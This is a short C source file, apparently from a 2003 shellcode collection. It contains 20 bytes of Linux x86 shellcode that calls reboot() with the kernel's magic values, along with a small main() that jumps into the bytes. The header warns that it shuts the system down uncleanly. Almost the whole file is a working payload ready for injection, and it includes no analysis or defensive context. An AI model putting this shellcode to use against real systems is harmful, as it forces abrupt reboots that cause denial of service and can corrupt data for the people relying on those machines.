Linux_x86 shellcode for reboot(). Shuts down the system uncleanly.
dc2cb717ec7192609d43a42968860ff03476aa390460611cad10eef5a4bd7edf
/*
* linux_x86 shellcode for reboot()
*
* Warning!! Shutdowns the system uncleanly !!
*/
/*
* NrAziz(C) 2003 nraziz^at^geekz^nl
* greetz to rave(rave.dtors.net)...
* www.geekz.nl
*/
#include <stdio.h>
/* 20 bytes! */
char shellcode[]= "\xba\xdc\xfe\x21\x43" /* movl $0x4321fedc,%edx */
"\xb9\x69\x19\x12\x28" /* movl $0x28121969,%ecx */
"\xbb\xad\xde\xe1\xfe" /* movl $0xfee1dead,%ebx */
"\xb0\x58" /* movb $0x58,%al */
"\xcd\x80" /* int $0x80 */
;
void main()
{
void (*fun)();
printf("Size of shellcode :%d\n",sizeof(shellcode));
fun=(void*)&shellcode;
fun();
}